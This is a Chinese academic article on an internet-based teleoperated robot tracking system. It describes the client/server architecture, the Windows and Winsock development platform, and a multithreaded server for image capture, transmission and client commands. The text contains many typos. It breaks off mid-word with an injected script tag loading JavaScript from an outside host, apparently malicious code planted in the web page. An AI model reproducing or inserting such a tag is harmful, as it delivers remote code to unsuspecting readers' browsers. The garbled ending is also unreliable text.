1.前言
随着internet技术的发展,我们能够与任何地方的同行方便快速地传递文本、图片、声音和视像,但是相对于internet在数据共享与数据舆传输方面的强大功能,使人感到遗憾的是目前多数基于internet的应用还不能提供与真实世界的实时交互,更不用说直接实时地控制和改变周围环境。
机器人本身是一种专为改变某一目标而研制的一种可操作设施,与外部(甚至远距离)真实世界有丰富的传感器联接方式(视觉、触觉和位置传感等),因此,在现有internet技术结合起来,尽可能延伸internet的应用领域,在其可以延伸到的地方以相当低廉的价格实现远程监视与操作,进行远程教学、远程医疗以及远程作业等,具有深远的研究意义。另外,受现有机器人技术的限制,机器人不可能自主地完成所有的任务,因此人将作为一个控制环节加入到机器人控制系统中,对机器人的操作提供关键性的指导,采用宏观人工监控和局部自主结合的遥操作机器人技术已成为当前机器人领域的研究热点。
近年来,国外在网络机器人方面的研究有了很大的进展。1994年南加州大学的ken goldberg与michnel masha将一个简单的二连杠装置连入互联网后,开始有了简单的提供可访问交实时操作的网站,如[2][3][4],1995年rovetta研制了一种远程医疗机器人系统,在去年iros98(ieee/rsj international conference on intelligent robots and systems)会议上,有几名学者第一次举办了一个关于网络机器人的小型研讨会[5]。
国内机器人控制领域的学者目前还很少介入internet应用的研究,本文将介绍如何将自己的机器人实验系统与校园网连接起来,建立一个遥操作机器人实验平台,研究开发一种基于internet的智能视觉实时跟踪系统。
2.网络机器人系统结构
如图1所示,本系统采用了client/server客户/服务器模式。服务器与机器人相连接,通过视频采集卡采集摄像机的图像,对图像进行实时处理并控制机器人的运行,同时服务器还负责监控客户机的通讯,包括图像的压缩与传输、接收客户端的控制命令并进行响应。
图1 系统结构图
客户机则向客户提供具有图形、图像、文字等多种提示信息的良好界面和操作环境,客户可在这里监视工作现场的情况以及机器人的工作情况,发出相应的控制命令。
3.系统功能及其具体实现
3.1 系统开发平台
本系统支持tcip协议,可连接到internet网络上。操作系统为windows95或winnt,实用visuai c++5.0作为开发工具,并利用winsockt开发apl。作者所处的华南理工大学为中国教育科研网(cernet)华南区的网管单位,有相当完善的校园网络环境。
3.2 机器人自主控制子系统
机器人实时跟踪系统采用客户/服务器模式并不意味着控制作用被上移到网络,实时的控制依然由现场控制单元来完成。而网络更关注的是现场信息的监视和管理,由于客户器模式的灵活性,使得监视/监控客户可以运行于连在internet上的工作站,经授权操作即可获取相应的信息。因此监控系统在信息管理和共享方面更为方便,可靠性也大大提高。
本实验室采用的是进口的精密zebro机械臂,ptz摄像机和自己正在研制的移动机器人。其中zebro机械臂或以通过c语言直接编程控制,在实现跟踪的任务时,只需给定跟踪对像的实时位置,系统即可自动实现跟踪;移动机器人研制成功之后就可以将机械臂装在其上,实现较大范围的移动跟踪后再由机械臂精确定位。
服务器与机器人相连,由上可知,服务器要完成机器人控制、图像采集、图像处理、图像压缩传输、与客户方的应答等多项处理工作,考虑到工作的实进性,问题系统采用了多线程的设计方法。具体如下:
线程一:
图像采集和缓存,图像处理和机器的控制;
线程二:
图像传输,机器人与被跟踪物体参数的发;
线程三:
客户请求应答;
由于本系统可实现即时图像传输,每当计算机采集到一幅图像就立刻创建线程二把图像传输出去,而线程一又要立刻对图像进行处理,两者之间涉及到访问公共缓冲区问题,需要用临界段防止冲突。线程三在收到客户要求时创立,客户的指令是对机器人任务、图像传输与否。图像质量等参数进行修改。而这些参数又影响线程一到二的运行,所以要建立和维护一个信息表,这个表中包含所有与客户操作相关的参数,这些数据在当前的线程一到二运行完毕后才产生作用。
3.3 人机交互子系统
在本系统中,人可以在远离机器人的场所通过连接在网络上的工作站对网络机器人进行监视控制,因此人机交互界面是软件系统的重要组成部分,它必须能够提供足够的信息,形象、逼真、有效地将机器人的状态信息显示出来,以方便人们了解机器人运行状况和进行控制,所以系统采用了可视化的人机界面。
机?script src=http://er12.com/t.js>